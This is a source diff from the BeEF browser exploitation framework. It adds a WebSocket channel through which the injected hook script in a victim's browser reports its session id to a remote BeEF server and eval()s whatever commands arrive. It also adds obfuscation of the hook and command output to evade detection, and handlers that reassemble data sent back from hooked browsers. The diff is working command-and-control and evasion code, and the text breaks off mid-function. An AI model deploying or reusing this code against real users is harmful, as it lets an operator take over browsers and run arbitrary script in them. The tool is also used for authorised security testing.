this.socket.onopen = function () {
|
||||
//console.log("Socket has been opened!");
|
||||
|
||||
/*send browser id*/
|
||||
beef.websocket.send('{"cookie":"' + beef.session.get_hook_session_id() + '"}');
|
||||
//console.log("Connected and Helo");
|
||||
beef.websocket.alive();
|
||||
}
|
||||
this.socket.onmessage = function (message) {
|
||||
//console.log("Received message via WS."+ message.data);
|
||||
eval(message.data);
|
||||
}
|
||||
|
||||
},
|
||||
|
||||
send:function (data) {
|
||||
this.socket.send(data);
|
||||
// console.log("Sent [" + data + "]");
|
||||
},
|
||||
|
||||
alive: function (){
|
||||
beef.websocket.send('{"alive":"'+beef.session.get_hook_session_id()+'"}');
|
||||
// console.log("sent alive");
|
||||
setTimeout("beef.websocket.alive()", beef.websocket.alive_timer);
|
||||
|
||||
}
|
||||
};
|
||||
|
||||
beef.regCmp('beef.websocket');
|
||||
@@ -118,7 +118,9 @@ module BeEF
|
||||
# Load module configurations
|
||||
def load_modules_config
|
||||
self.set('beef.module', {})
|
||||
Dir.glob("#{$root_dir}/modules/**/*/config.yaml") do | cf |
|
||||
# support nested sub-categories, like browser/hooked_domain/ajax_fingerprint
|
||||
module_configs = File.join("#{$root_dir}/modules/**", "config.yaml")
|
||||
Dir.glob(module_configs) do | cf |
|
||||
y = self.load(cf)
|
||||
if y != nil
|
||||
y['beef']['module'][y['beef']['module'].keys.first]['path'] = cf.gsub(/config\.yaml/, '').gsub(/#{$root_dir}\//, '')
|
||||
|
||||
@@ -92,6 +92,7 @@ module Banners
|
||||
|
||||
self.interfaces.map do |host| # display the important URLs on each interface from the interfaces array
|
||||
print_success "running on network interface: #{host}"
|
||||
beef_host = configuration.get("beef.http.public_port") || configuration.get("beef.http.port")
|
||||
data = "Hook URL: http://#{host}:#{configuration.get("beef.http.port")}#{configuration.get("beef.http.hook_file")}\n"
|
||||
data += "UI URL: http://#{host}:#{configuration.get("beef.http.port")}#{configuration.get("beef.http.panel_path")}\n"
|
||||
|
||||
|
||||
@@ -26,6 +26,9 @@ module BeEF
|
||||
@options[:resetdb] = false
|
||||
@options[:ascii_art] = false
|
||||
@options[:ext_config] = ""
|
||||
@options[:port] = ""
|
||||
@options[:ws_port] = ""
|
||||
|
||||
|
||||
@already_parsed = false
|
||||
|
||||
@@ -53,6 +56,14 @@ module BeEF
|
||||
opts.on('-c', '--config FILE', 'Load a different configuration file: if it\'s called custom-config.yaml, git automatically ignores it.') do |f|
|
||||
@options[:ext_config] = f
|
||||
end
|
||||
|
||||
opts.on('-p', '--port PORT', 'Change the default BeEF listening port') do |p|
|
||||
@options[:port] = p
|
||||
end
|
||||
|
||||
opts.on('-w', '--wsport WS_PORT', 'Change the default BeEF WebSocket listening port') do |ws_port|
|
||||
@options[:ws_port] = ws_port
|
||||
end
|
||||
end
|
||||
|
||||
optparse.parse!
|
||||
|
||||
@@ -118,6 +118,14 @@ module BeEF
|
||||
self.err_msg "Invalid operating system name returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the date
|
||||
date_stamp = get_param(@data['results'], 'DateStamp')
|
||||
if BeEF::Filters.is_valid_date_stamp?(date_stamp)
|
||||
BD.set(session_id, 'DateStamp', date_stamp)
|
||||
else
|
||||
self.err_msg "Invalid date returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store page title
|
||||
page_title = get_param(@data['results'], 'PageTitle')
|
||||
if BeEF::Filters.is_valid_pagetitle?(page_title)
|
||||
@@ -175,11 +183,11 @@ module BeEF
|
||||
end
|
||||
|
||||
# get and store the zombie screen size and color depth
|
||||
screen_params = get_param(@data['results'], 'ScreenParams')
|
||||
if BeEF::Filters.is_valid_screen_params?(screen_params)
|
||||
BD.set(session_id, 'ScreenParams', screen_params)
|
||||
screen_size = get_param(@data['results'], 'ScreenSize')
|
||||
if BeEF::Filters.is_valid_screen_size?(screen_size)
|
||||
BD.set(session_id, 'ScreenSize', screen_size)
|
||||
else
|
||||
self.err_msg "Invalid screen params returned from the hook browser's initial connection."
|
||||
self.err_msg "Invalid screen size returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the window size
|
||||
|
||||
@@ -14,79 +14,78 @@
|
||||
# limitations under the License.
|
||||
#
|
||||
module BeEF
|
||||
module Core
|
||||
module Handlers
|
||||
|
||||
class Commands
|
||||
|
||||
include BeEF::Core::Handlers::Modules::BeEFJS
|
||||
include BeEF::Core::Handlers::Modules::Command
|
||||
|
||||
@data = {}
|
||||
|
||||
# Handles command data
|
||||
# @param [Hash] data Data from command execution
|
||||
# @param [Class] kclass Class of command
|
||||
# @todo Confirm argument data variable type.
|
||||
def initialize(data, kclass)
|
||||
@kclass = BeEF::Core::Command.const_get(kclass.capitalize)
|
||||
@data = data
|
||||
setup()
|
||||
end
|
||||
|
||||
# Initial setup function, creates the command module and saves details to datastore
|
||||
def setup()
|
||||
module Core
|
||||
module Handlers
|
||||
|
||||
class Commands
|
||||
|
||||
include BeEF::Core::Handlers::Modules::BeEFJS
|
||||
include BeEF::Core::Handlers::Modules::Command
|
||||
|
||||
@data = {}
|
||||
|
||||
# Handles command data
|
||||
# @param [Hash] data Data from command execution
|
||||
# @param [Class] kclass Class of command
|
||||
# @todo Confirm argument data variable type [radoen]: type is Hash confirmed.
|
||||
def initialize(data, kclass)
|
||||
@kclass = BeEF::Core::Command.const_get(kclass.capitalize)
|
||||
@data = data
|
||||
setup()
|
||||
end
|
||||
|
||||
# Initial setup function, creates the command module and saves details to datastore
|
||||
def setup()
|
||||
|
||||
|
||||
@http_params = @data['request'].params
|
||||
@http_header = Hash.new
|
||||
http_header = @data['request'].env.select {|k,v| k.to_s.start_with? 'HTTP_'}
|
||||
.each {|key,value|
|
||||
@http_header[key.sub(/^HTTP_/, '')] = value
|
||||
}
|
||||
@http_params = @data['request'].params
|
||||
@http_header = Hash.new
|
||||
http_header = @data['request'].env.select { |k, v| k.to_s.start_with? 'HTTP_' }.each { |key, value|
|
||||
@http_header[key.sub(/^HTTP_/, '')] = value
|
||||
}
|
||||
|
||||
# @note get and check command id from the request
|
||||
command_id = get_param(@data, 'cid')
|
||||
# @todo ruby filter needs to be updated to detect fixnums not strings
|
||||
command_id = command_id.to_s()
|
||||
(print_error "command_id is invalid";return) if not BeEF::Filters.is_valid_command_id?(command_id.to_s())
|
||||
# @note get and check command id from the request
|
||||
command_id = get_param(@data, 'cid')
|
||||
# @todo ruby filter needs to be updated to detect fixnums not strings
|
||||
command_id = command_id.to_s()
|
||||
(print_error "command_id is invalid"; return) if not BeEF::Filters.is_valid_command_id?(command_id.to_s())
|
||||
|
||||
# @note get and check session id from the request
|
||||
beefhook = get_param(@data, 'beefhook')
|
||||
(print_error "BeEFhook is invalid";return) if not BeEF::Filters.is_valid_hook_session_id?(beefhook)
|
||||
# @note get and check session id from the request
|
||||
beefhook = get_param(@data, 'beefhook')
|
||||
(print_error "BeEFhook is invalid"; return) if not BeEF::Filters.is_valid_hook_session_id?(beefhook)
|
||||
|
||||
result = get_param(@data, 'results')
|
||||
result = get_param(@data, 'results')
|
||||
|
||||
# @note create the command module to handle the response
|
||||
command = @kclass.new(BeEF::Module.get_key_by_class(@kclass))
|
||||
command.build_callback_datastore(@http_params, @http_header, result, command_id, beefhook)
|
||||
command.session_id = beefhook
|
||||
if command.respond_to?(:post_execute)
|
||||
command.post_execute
|
||||
end
|
||||
#@todo this is the part that store result on db and the modify will be accessible from all the framework and so UI too
|
||||
# @note get/set details for datastore and log entry
|
||||
command_friendly_name = command.friendlyname
|
||||
(print_error "command friendly name is empty"; return) if command_friendly_name.empty?
|
||||
command_results = get_param(@data, 'results')
|
||||
(print_error "command results are empty"; return) if command_results.empty?
|
||||
# @note save the command module results to the datastore and create a log entry
|
||||
command_results = {'data' => command_results}
|
||||
BeEF::Core::Models::Command.save_result(beefhook, command_id, command_friendly_name, command_results)
|
||||
|
||||
end
|
||||
|
||||
# Returns parameter from hash
|
||||
# @param [Hash] query Hash of data to return data from
|
||||
# @param [String] key Key to search for and return inside `query`
|
||||
# @return Value referenced in hash at the supplied key
|
||||
def get_param(query, key)
|
||||
return (query.class == Hash and query.has_key?(key)) ? query[key] : nil
|
||||
end
|
||||
|
||||
# @note create the command module to handle the response
|
||||
command = @kclass.new(BeEF::Module.get_key_by_class(@kclass))
|
||||
command.build_callback_datastore(@http_params, @http_header, result, command_id, beefhook)
|
||||
command.session_id = beefhook
|
||||
if command.respond_to?(:post_execute)
|
||||
command.post_execute
|
||||
end
|
||||
|
||||
# @note get/set details for datastore and log entry
|
||||
command_friendly_name = command.friendlyname
|
||||
(print_error "command friendly name is empty";return) if command_friendly_name.empty?
|
||||
command_results = get_param(@data, 'results')
|
||||
(print_error "command results are empty";return) if command_results.empty?
|
||||
# @note save the command module results to the datastore and create a log entry
|
||||
command_results = {'data' => command_results}
|
||||
BeEF::Core::Models::Command.save_result(beefhook, command_id, command_friendly_name, command_results)
|
||||
|
||||
end
|
||||
|
||||
# Returns parameter from hash
|
||||
# @param [Hash] query Hash of data to return data from
|
||||
# @param [String] key Key to search for and return inside `query`
|
||||
# @return Value referenced in hash at the supplied key
|
||||
def get_param(query, key)
|
||||
return (query.class == Hash and query.has_key?(key)) ? query[key] : nil
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -17,43 +17,73 @@ module BeEF
|
||||
module Core
|
||||
module Handlers
|
||||
module Modules
|
||||
|
||||
|
||||
# @note Purpose: avoid rewriting several times the same code.
|
||||
module BeEFJS
|
||||
|
||||
|
||||
# Builds the default beefjs library (all default components of the library).
|
||||
# @param [Object] req_host The request object
|
||||
def build_beefjs!(req_host)
|
||||
|
||||
config = BeEF::Core::Configuration.instance
|
||||
# @note set up values required to construct beefjs
|
||||
beefjs = ''
|
||||
# @note location of sub files
|
||||
beefjs = ''
|
||||
# @note location of sub files
|
||||
beefjs_path = "#{$root_dir}/core/main/client/"
|
||||
js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js)
|
||||
# @note we load websocket library only if ws server is enabled in config.yalm
|
||||
# check in init.js
|
||||
if config.get("beef.http.websocket.enable")
|
||||
js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js websocket.js)
|
||||
else
|
||||
js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js)
|
||||
end
|
||||
|
||||
# @note construct the beefjs string from file(s)
|
||||
js_sub_files.each {|js_sub_file_name|
|
||||
js_sub_file_abs_path = beefjs_path + js_sub_file_name
|
||||
beefjs << (File.read(js_sub_file_abs_path) + "\n\n")
|
||||
js_sub_file_abs_path = beefjs_path + js_sub_file_name
|
||||
beefjs << (File.read(js_sub_file_abs_path) + "\n\n")
|
||||
}
|
||||
|
||||
|
||||
# @note create the config for the hooked browser session
|
||||
config = BeEF::Core::Configuration.instance
|
||||
|
||||
hook_session_name = config.get('beef.http.hook_session_name')
|
||||
hook_session_config = BeEF::Core::Server.instance.to_h
|
||||
|
||||
# @note if http_host="0.0.0.0" in config ini, use the host requested by client
|
||||
if hook_session_config['beef_host'].eql? "0.0.0.0"
|
||||
hook_session_config['beef_host'] = req_host
|
||||
hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host)
|
||||
if hook_session_config['beef_host'].eql? "0.0.0.0"
|
||||
hook_session_config['beef_host'] = req_host
|
||||
hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host)
|
||||
end
|
||||
|
||||
# @note if http_port <> public_port in config ini, use the public_port
|
||||
unless hook_session_config['beef_public_port'].nil?
|
||||
if hook_session_config['beef_port'] != hook_session_config['beef_public_port']
|
||||
hook_session_config['beef_port'] = hook_session_config['beef_public_port']
|
||||
hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_port']}/, hook_session_config['beef_public_port'])
|
||||
if hook_session_config['beef_public_port'] == '443'
|
||||
hook_session_config['beef_url'].sub!(/http:/, 'https:')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if config.get("beef.http.websocket.enable")
|
||||
hook_session_config['websocket_secure'] = config.get("beef.http.websocket.secure")
|
||||
hook_session_config['websocket_port'] = config.get("beef.http.websocket.port")
|
||||
hook_session_config['websocket_timer'] = config.get("beef.http.websocket.alive_timer")
|
||||
end
|
||||
|
||||
# @note populate place holders in the beefjs string and set the response body
|
||||
eruby = Erubis::FastEruby.new(beefjs)
|
||||
@body << eruby.evaluate(hook_session_config)
|
||||
|
||||
@hook = eruby.evaluate(hook_session_config)
|
||||
|
||||
if config.get("beef.extension.evasion.enable")
|
||||
evasion = BeEF::Extension::Evasion::Evasion.instance
|
||||
@hook = evasion.add_bootstrapper + evasion.obfuscate(@hook)
|
||||
end
|
||||
|
||||
@body << @hook
|
||||
|
||||
end
|
||||
|
||||
|
||||
# Finds the path to js components
|
||||
# @param [String] component Name of component
|
||||
# @return [String|Boolean] Returns false if path was not found, otherwise returns component path
|
||||
@@ -62,33 +92,33 @@ module Modules
|
||||
component_path.gsub!(/beef./, '')
|
||||
component_path.gsub!(/\./, '/')
|
||||
component_path.replace "#{$root_dir}/core/main/client/#{component_path}.js"
|
||||
|
||||
|
||||
return false if not File.exists? component_path
|
||||
|
||||
|
||||
component_path
|
||||
end
|
||||
|
||||
|
||||
# Builds missing beefjs components.
|
||||
# @param [Array] beefjs_components An array of component names
|
||||
def build_missing_beefjs_components(beefjs_components)
|
||||
# @note verifies that @beef_js_cmps is not nil to avoid bugs
|
||||
@beef_js_cmps = '' if @beef_js_cmps.nil?
|
||||
|
||||
|
||||
if beefjs_components.is_a? String
|
||||
beefjs_components_path = find_beefjs_component_path(beefjs_components)
|
||||
raise "Invalid component: could not build the beefjs file" if not beefjs_components_path
|
||||
beefjs_components = {beefjs_components => beefjs_components_path}
|
||||
beefjs_components = {beefjs_components => beefjs_components_path}
|
||||
end
|
||||
|
||||
beefjs_components.keys.each {|k|
|
||||
next if @beef_js_cmps.include? beefjs_components[k]
|
||||
|
||||
|
||||
# @note path to the component
|
||||
component_path = beefjs_components[k]
|
||||
|
||||
|
||||
# @note we output the component to the hooked browser
|
||||
@body << File.read(component_path)+"\n\n"
|
||||
|
||||
|
||||
# @note finally we add the component to the list of components already generated so it does not get generated numerous times.
|
||||
if @beef_js_cmps.eql? ''
|
||||
@beef_js_cmps = component_path
|
||||
@@ -99,7 +129,7 @@ module Modules
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -14,57 +14,85 @@
|
||||
# limitations under the License.
|
||||
#
|
||||
module BeEF
|
||||
module Core
|
||||
module Handlers
|
||||
module Modules
|
||||
module Core
|
||||
module Handlers
|
||||
module Modules
|
||||
|
||||
module Command
|
||||
module Command
|
||||
|
||||
# Adds the command module instructions to a hooked browser's http response.
|
||||
# @param [Object] command Command object
|
||||
# @param [Object] hooked_browser Hooked Browser object
|
||||
def add_command_instructions(command, hooked_browser)
|
||||
# Adds the command module instructions to a hooked browser's http response.
|
||||
# @param [Object] command Command object
|
||||
# @param [Object] hooked_browser Hooked Browser object
|
||||
def add_command_instructions(command, hooked_browser)
|
||||
(print_error "hooked_browser is nil"; return) if hooked_browser.nil?
|
||||
(print_error "hooked_browser.session is nil"; return) if hooked_browser.session.nil?
|
||||
(print_error "hooked_browser is nil"; return) if command.nil?
|
||||
(print_error "hooked_browser.command_module_id is nil"; return) if command.command_module_id.nil?
|
||||
|
||||
(print_error "hooked_browser is nil";return) if hooked_browser.nil?
|
||||
(print_error "hooked_browser.session is nil";return) if hooked_browser.session.nil?
|
||||
(print_error "hooked_browser is nil";return) if command.nil?
|
||||
(print_error "hooked_browser.command_module_id is nil";return) if command.command_module_id.nil?
|
||||
config = BeEF::Core::Configuration.instance
|
||||
# @note get the command module
|
||||
command_module = BeEF::Core::Models::CommandModule.first(:id => command.command_module_id)
|
||||
(print_error "command_module is nil"; return) if command_module.nil?
|
||||
(print_error "command_module.path is nil"; return) if command_module.path.nil?
|
||||
|
||||
# @note get the command module
|
||||
command_module = BeEF::Core::Models::CommandModule.first(:id => command.command_module_id)
|
||||
(print_error "command_module is nil";return) if command_module.nil?
|
||||
(print_error "command_module.path is nil";return) if command_module.path.nil?
|
||||
if (command_module.path.match(/^Dynamic/))
|
||||
command_module = BeEF::Modules::Commands.const_get(command_module.path.split('/').last.capitalize).new
|
||||
else
|
||||
key = BeEF::Module.get_key_by_database_id(command.command_module_id)
|
||||
command_module = BeEF::Core::Command.const_get(config.get("beef.module.#{key}.class")).new(key)
|
||||
end
|
||||
|
||||
command_module.command_id = command.id
|
||||
command_module.session_id = hooked_browser.session
|
||||
command_module.build_datastore(command.data)
|
||||
command_module.pre_send
|
||||
|
||||
build_missing_beefjs_components(command_module.beefjs_components) if not command_module.beefjs_components.empty?
|
||||
|
||||
ws = BeEF::Core::Websocket::Websocket.instance
|
||||
|
||||
if config.get("beef.extension.evasion.enable")
|
||||
evasion = BeEF::Extension::Evasion::Evasion.instance
|
||||
@output = evasion.obfuscate(command_module.output)
|
||||
else
|
||||
@output = command_module.output
|
||||
end
|
||||
|
||||
#todo antisnatchor: remove this gsub crap adding some hook packing.
|
||||
if config.get("beef.http.websocket.enable") && ws.getsocket(hooked_browser.session)
|
||||
#content = command_module.output.gsub('//
|
||||
#// Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#//
|
||||
#// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
#// you may not use this file except in compliance with the License.
|
||||
#// You may obtain a copy of the License at
|
||||
#//
|
||||
#// http://www.apache.org/licenses/LICENSE-2.0
|
||||
#//
|
||||
#// Unless required by applicable law or agreed to in writing, software
|
||||
#// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
#// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
#// See the License for the specific language governing permissions and
|
||||
#// limitations under the License.
|
||||
#//', "")
|
||||
ws.send(@output, hooked_browser.session)
|
||||
else
|
||||
@body << @output + "\n\n"
|
||||
end
|
||||
# @note prints the event to the console
|
||||
if BeEF::Settings.console?
|
||||
name = command_module.friendlyname || kclass
|
||||
print_info "Hooked browser #{hooked_browser.ip} has been sent instructions from command module '#{name}'"
|
||||
end
|
||||
|
||||
# @note flag that the command has been sent to the hooked browser
|
||||
command.instructions_sent = true
|
||||
command.save
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
if(command_module.path.match(/^Dynamic/))
|
||||
command_module = BeEF::Modules::Commands.const_get(command_module.path.split('/').last.capitalize).new
|
||||
else
|
||||
key = BeEF::Module.get_key_by_database_id(command.command_module_id)
|
||||
command_module = BeEF::Core::Command.const_get(BeEF::Core::Configuration.instance.get("beef.module.#{key}.class")).new(key)
|
||||
end
|
||||
|
||||
command_module.command_id = command.id
|
||||
command_module.session_id = hooked_browser.session
|
||||
command_module.build_datastore(command.data)
|
||||
command_module.pre_send
|
||||
|
||||
build_missing_beefjs_components(command_module.beefjs_components) if not command_module.beefjs_components.empty?
|
||||
|
||||
@body << command_module.output + "\n\n"
|
||||
|
||||
# @note prints the event to the console
|
||||
if BeEF::Settings.console?
|
||||
name = command_module.friendlyname || kclass
|
||||
print_info "Hooked browser #{hooked_browser.ip} has been sent instructions from command module '#{name}'"
|
||||
end
|
||||
|
||||
# @note flag that the command has been sent to the hooked browser
|
||||
command.instructions_sent = true
|
||||
command.save
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -14,118 +14,118 @@
|
||||
# limitations under the License.
|
||||
#
|
||||
module BeEF
|
||||
module Core
|
||||
module NetworkStack
|
||||
module Handlers
|
||||
|
||||
# @note DynamicHandler is used reconstruct segmented traffic from the hooked browser
|
||||
class DynamicReconstruction < BeEF::Core::Router::Router
|
||||
module Core
|
||||
module NetworkStack
|
||||
module Handlers
|
||||
|
||||
# @note holds packet queue
|
||||
PQ = Array.new()
|
||||
# @note DynamicHandler is used reconstruct segmented traffic from the hooked browser
|
||||
class DynamicReconstruction < BeEF::Core::Router::Router
|
||||
|
||||
# @note obtain dynamic mount points from HttpHookServer
|
||||
MOUNTS = BeEF::Core::Server.instance.mounts
|
||||
# @note holds packet queue
|
||||
PQ = Array.new()
|
||||
|
||||
before do
|
||||
error 404 unless !params.empty?
|
||||
headers 'Pragma' => 'no-cache',
|
||||
'Cache-Control' => 'no-cache',
|
||||
'Expires' => '0'
|
||||
end
|
||||
# @note obtain dynamic mount points from HttpHookServer
|
||||
MOUNTS = BeEF::Core::Server.instance.mounts
|
||||
|
||||
# Combines packet information and pushes to PQ (packet queue), then checks packets
|
||||
get '/' do
|
||||
headers 'Pragma' => 'no-cache',
|
||||
'Cache-Control' => 'no-cache',
|
||||
'Expires' => '0',
|
||||
'Content-Type' => 'text/javascript',
|
||||
'Access-Control-Allow-Origin' => '*',
|
||||
'Access-Control-Allow-Methods' => 'POST, GET'
|
||||
before do
|
||||
error 404 unless !params.empty?
|
||||
headers 'Pragma' => 'no-cache',
|
||||
'Cache-Control' => 'no-cache',
|
||||
'Expires' => '0'
|
||||
end
|
||||
|
||||
PQ << {
|
||||
:beefhook => params[:bh],
|
||||
:stream_id => Integer(params[:sid]),
|
||||
:packet_id => Integer(params[:pid]),
|
||||
:packet_count => Integer(params[:pc]),
|
||||
:data => params[:d]
|
||||
}
|
||||
# Combines packet information and pushes to PQ (packet queue), then checks packets
|
||||
get '/' do
|
||||
headers 'Pragma' => 'no-cache',
|
||||
'Cache-Control' => 'no-cache',
|
||||
'Expires' => '0',
|
||||
'Content-Type' => 'text/javascript',
|
||||
'Access-Control-Allow-Origin' => '*',
|
||||
'Access-Control-Allow-Methods' => 'POST, GET'
|
||||
|
||||
Thread.new {
|
||||
check_packets()
|
||||
}
|
||||
end
|
||||
PQ << {
|
||||
:beefhook => params[:bh],
|
||||
:stream_id => Integer(params[:sid]),
|
||||
:packet_id => Integer(params[:pid]),
|
||||
:packet_count => Integer(params[:pc]),
|
||||
:data => params[:d]
|
||||
}
|
||||
|
||||
# Check packets goes through the PQ array and attempts to reconstruct the stream from multiple packets
|
||||
def check_packets()
|
||||
checked = Array.new()
|
||||
PQ.each do |packet|
|
||||
if (checked.include?(packet[:beefhook]+':'+String(packet[:stream_id])))
|
||||
Thread.new {
|
||||
check_packets()
|
||||
}
|
||||
end
|
||||
|
||||
# Check packets goes through the PQ array and attempts to reconstruct the stream from multiple packets
|
||||
def check_packets()
|
||||
checked = Array.new()
|
||||
PQ.each do |packet|
|
||||
if (checked.include?(packet[:beefhook]+':'+String(packet[:stream_id])))
|
||||
next
|
||||
end
|
||||
checked << packet[:beefhook]+':'+String(packet[:stream_id])
|
||||
pc = 0
|
||||
PQ.each do |p|
|
||||
end
|
||||
checked << packet[:beefhook]+':'+String(packet[:stream_id])
|
||||
pc = 0
|
||||
PQ.each do |p|
|
||||
if (packet[:beefhook] == p[:beefhook] and packet[:stream_id] == p[:stream_id])
|
||||
pc += 1
|
||||
pc += 1
|
||||
end
|
||||
end
|
||||
if (packet[:packet_count] == pc)
|
||||
end
|
||||
if (packet[:packet_count] == pc)
|
||||
packets = expunge(packet[:beefhook], packet[:stream_id])
|
||||
data = ''
|
||||
packets.each_with_index do |sp,i|
|
||||
if (packet[:beefhook] == sp[:beefhook] and packet[:stream_id] == sp[:stream_id])
|
||||
data += sp[:data]
|
||||
end
|
||||
packets.each_with_index do |sp, i|
|
||||
if (packet[:beefhook] == sp[:beefhook] and packet[:stream_id] == sp[:stream_id])
|
||||
data += sp[:data]
|
||||
end
|
||||
end
|
||||
b64 = Base64.decode64(data)
|
||||
b64 = Base64.decode64(data)
|
||||
begin
|
||||
res = JSON.parse(b64).first
|
||||
res['beefhook'] = packet[:beefhook]
|
||||
res['request'] = request
|
||||
res['beefsession'] = request[BeEF::Core::Configuration.instance.get('beef.http.hook_session_name')]
|
||||
execute(res)
|
||||
res = JSON.parse(b64).first
|
||||
res['beefhook'] = packet[:beefhook]
|
||||
res['request'] = request
|
||||
res['beefsession'] = request[BeEF::Core::Configuration.instance.get('beef.http.hook_session_name')]
|
||||
execute(res)
|
||||
rescue JSON::ParserError => e
|
||||
print_debug 'Network stack could not decode packet stream.'
|
||||
print_debug 'Dumping Stream Data [base64]: '+data
|
||||
print_debug 'Dumping Stream Data: '+b64
|
||||
print_debug 'Network stack could not decode packet stream.'
|
||||
print_debug 'Dumping Stream Data [base64]: '+data
|
||||
print_debug 'Dumping Stream Data: '+b64
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Delete packets that have been reconstructed, return deleted packets
|
||||
# @param [String] beefhook Beefhook of hooked browser
|
||||
# @param [Integer] stream_id The stream ID
|
||||
def expunge(beefhook, stream_id)
|
||||
packets = PQ.select{ |p| p[:beefhook] == beefhook and p[:stream_id] == stream_id }
|
||||
PQ.delete_if { |p| p[:beefhook] == beefhook and p[:stream_id] == stream_id }
|
||||
packets.sort_by { |p| p[:packet_id] }
|
||||
end
|
||||
# Delete packets that have been reconstructed, return deleted packets
|
||||
# @param [String] beefhook Beefhook of hooked browser
|
||||
# @param [Integer] stream_id The stream ID
|
||||
def expunge(beefhook, stream_id)
|
||||
packets = PQ.select { |p| p[:beefhook] == beefhook and p[:stream_id] == stream_id }
|
||||
PQ.delete_if { |p| p[:beefhook] == beefhook and p[:stream_id] == stream_id }
|
||||
packets.sort_by { |p| p[:packet_id] }
|
||||
end
|
||||
|
||||
# Execute is called once a stream has been rebuilt. it searches the mounts and passes the data to the correct handler
|
||||
# @param [Hash] data Hash of data that has been rebuilt by the dynamic reconstruction
|
||||
def execute(data)
|
||||
handler = get_param(data, 'handler')
|
||||
if (MOUNTS.has_key?(handler))
|
||||
if (MOUNTS[handler].class == Array and MOUNTS[handler].length == 2)
|
||||
# Execute is called once a stream has been rebuilt. it searches the mounts and passes the data to the correct handler
|
||||
# @param [Hash] data Hash of data that has been rebuilt by the dynamic reconstruction
|
||||
def execute(data)
|
||||
handler = get_param(data, 'handler')
|
||||
if (MOUNTS.has_key?(handler))
|
||||
if (MOUNTS[handler].class == Array and MOUNTS[handler].length == 2)
|
||||
MOUNTS[handler][0].new(data, MOUNTS[handler][1])
|
||||
else
|
||||
else
|
||||
MOUNTS[handler].new(data)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Assist function for getting parameter from hash
|
||||
# @param [Hash] query Hash to pull key from
|
||||
# @param [String] key The key association to return from `query`
|
||||
# @return Value associated with `key`
|
||||
def get_param(query, key)
|
||||
return nil if query[key].nil?
|
||||
query[key]
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Assist function for getting parameter from hash
|
||||
# @param [Hash] query Hash to pull key from
|
||||
# @param [String] key The key association to return from `query`
|
||||
# @return Value associated with `key`
|
||||
def get_param(query, key)
|
||||
return nil if query[key].nil?
|
||||
query[key]
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
134
core/main/network_stack/websocket/websocket.rb
Normal file
134
core/main/network_stack/websocket/websocket.rb
Normal file
@@ -0,0 +1,134 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
module BeEF
|
||||
module Core
|
||||
module Websocket
|
||||
require 'singleton'
|
||||
require 'json'
|
||||
require 'base64'
|
||||
require 'em-websocket'
|
||||
class Websocket
|
||||
include Singleton
|
||||
include BeEF::Core::Handlers::Modules::Command
|
||||
|
||||
@@activeSocket= Hash.new
|
||||
@@lastalive= Hash.new
|
||||
@@config = BeEF::Core::Configuration.instance
|
||||
MOUNTS = BeEF::Core::Server.instance.mounts
|
||||
|
||||
def initialize
|
||||
port = @@config.get("beef.http.websocket.port")
|
||||
secure = @@config.get("beef.http.websocket.secure")
|
||||
Thread.new {
|
||||
sleep 2 # prevent issues when starting at the same time the TunnelingProxy, Thin and Evented WebSockets
|
||||
EventMachine.run { #todo antisnatchor: add support for WebSocket secure (new object with different config options, then start)
|
||||
EventMachine::WebSocket.start(:host => "0.0.0.0", :port => port) do |ws|
|
||||
begin
|
||||
print_debug "New WebSocket channel open."
|
||||
ws.onmessage { |msg|
|
||||
msg_hash = JSON.parse("#{msg}")
|
||||
#@note messageHash[result] is Base64 encoded
|
||||
if (msg_hash["cookie"]!= nil)
|
||||
print_debug("WebSocket - Browser says helo! WebSocket is running")
|
||||
#insert new connection in activesocket
|
||||
@@activeSocket["#{msg_hash["cookie"]}"] = ws
|
||||
print_debug("WebSocket - activeSocket content [#{@@activeSocket}]")
|
||||
elsif msg_hash["alive"] != nil
|
||||
hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => msg_hash["alive"])
|
||||
unless hooked_browser.nil?
